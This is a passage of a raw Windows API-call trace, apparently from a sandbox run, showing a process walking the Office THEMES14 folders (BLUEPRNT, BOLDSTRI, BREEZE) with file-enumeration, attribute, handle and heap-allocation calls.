(HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.245] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.245] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.245] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3228 [0059.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5e60 [0059.245] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.245] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.245] GetLastError () returned 0x12 [0059.245] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0059.245] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0059.245] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.245] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0059.245] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0059.245] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.245] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.245] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.245] GetLastError () returned 0x12 [0059.245] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4fe8) returned 1 [0059.246] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0059.246] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa50f0) returned 1 [0059.246] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.246] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0059.246] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.246] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0059.252] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0059.252] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa7c38 [0059.252] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa7c38, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa7c38, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0059.252] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa7c38) returned 1 [0059.252] NtClose (Handle=0x184) returned 0x0 [0059.253] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.253] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0059.253] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0059.253] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.253] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.253] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.253] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0059.253] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3248 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5f68 [0059.253] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.253] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.253] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.253] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.254] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3268 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6070 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x700) returned 0xfa7c38 [0059.254] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0059.254] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.254] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.254] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.254] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3288 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6178 [0059.254] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.254] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.254] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.254] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa32a8 [0059.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6280 [0059.254] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.254] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.254] GetLastError () returned 0x12 [0059.254] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0059.255] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0059.255] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.255] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0059.255] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0059.255] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.255] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.255] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.255] GetLastError () returned 0x12 [0059.255] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa50f0) returned 1 [0059.255] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0059.255] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4fe8) returned 1 [0059.255] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.255] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0059.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.255] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0059.261] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0059.261] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa8340 [0059.261] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa8340, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa8340, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0059.261] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa8340) returned 1 [0059.261] NtClose (Handle=0x190) returned 0x0 [0059.261] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.261] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.261] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0059.261] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.261] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.261] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0059.261] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0059.261] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.261] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0059.261] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.262] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.262] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.262] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.262] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.262] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0059.262] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0059.262] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa32c8 [0059.262] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa6388 [0059.262] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.262] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0059.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 